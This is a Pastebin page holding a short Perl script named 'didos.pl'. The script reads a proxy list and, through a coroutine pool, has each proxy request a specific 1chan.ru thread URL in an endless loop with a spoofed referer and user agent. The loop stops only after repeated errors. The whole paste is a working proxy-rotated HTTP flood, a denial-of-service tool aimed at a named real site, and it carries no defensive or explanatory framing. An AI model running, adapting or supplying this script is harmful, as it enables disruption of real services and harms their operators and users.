theanonym

didos.pl

Sep 2nd, 2013
406
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.78 KB | None | 0 0
  1. use 5.010;
  2. use strict;
  3. use warnings;
  4. use autodie;
  5.  
  6. use LWP;
  7.  
  8. use YobaCoro;
  9.  
  10. #-------------------------------------------------
  11.  
  12. my $url        = "http://1chan.ru/news/res/2286463/";
  13. my $referer    = "http://1chan.ru/";
  14. my $proxylist  = "proxy.txt";
  15. my $timeout    = 1;
  16. my $max_errors = 10;
  17.  
  18. my @agents = grep { $_ } split /\n/, "
  19. Opera/9.80 (X11; Linux i686; U; en) Presto/2.10.229 Version/11.61
  20.  
  21. ";
  22.  
  23. #-------------------------------------------------
  24.  
  25. sub read_file($)
  26. {
  27.    my($fname) = @_;
  28.    open my $fh, "<", $fname;
  29.    read $fh, my $data, -s $fname;
  30.    return $data;
  31. }
  32.  
  33. sub parse_proxies($)
  34. {
  35.    my($text) = @_;
  36.    my %tmp;
  37.    my @proxies = grep { !$tmp{$_}++ } $text =~ m~((?:\w+://)?[a-z0-9\.]*?\.(?:.{2,3}|\d{1,3}):\d{2,4})~gm;
  38.    my @result;
  39.    my %ips;
  40.    for my $proxy (@proxies)
  41.    {
  42.       my($ip) = $proxy =~ m~(?:\w+://)?(.*?):\d+~;
  43.       next if length $ip < 8;
  44.       push @result, $proxy unless $ips{$ip}++;
  45.    }
  46.    return map { m~^\w+://~ ? $_ : "http://$_" } @result;
  47. }
  48.  
  49. sub read_proxylist($)
  50. {
  51.    my($fname) = @_;
  52.    return parse_proxies read_file $fname;
  53. }
  54.  
  55. #-------------------------------------------------
  56.  
  57. sub didos
  58. {
  59.    my($proxy) = @_;
  60.  
  61.    my $lwp = new LWP::UserAgent;
  62.    $lwp->default_header(Referer => $referer);
  63.    $lwp->agent($agents[rand @agents]);
  64.    $lwp->proxy(["http", "https"], $proxy);
  65.  
  66.    my $errors = 0;
  67.    while(1)
  68.    {
  69.       my $res = $lwp->get($url);
  70.       say "$proxy: ", $res->status_line;
  71.  
  72.       $errors++ unless $res->is_success;
  73.       last if $max_errors != 0 && $errors >= $max_errors;
  74.      
  75.       sleep $timeout;
  76.    }
  77. }
  78.  
  79. #-------------------------------------------------
  80.  
  81. my @proxies = read_proxylist $proxylist;
  82.  
  83. my $pool = pool \&didos, \@proxies, { desc => "didos", debug => 1, join => 1 };
Advertisement
Add Comment
Please, Sign In to add comment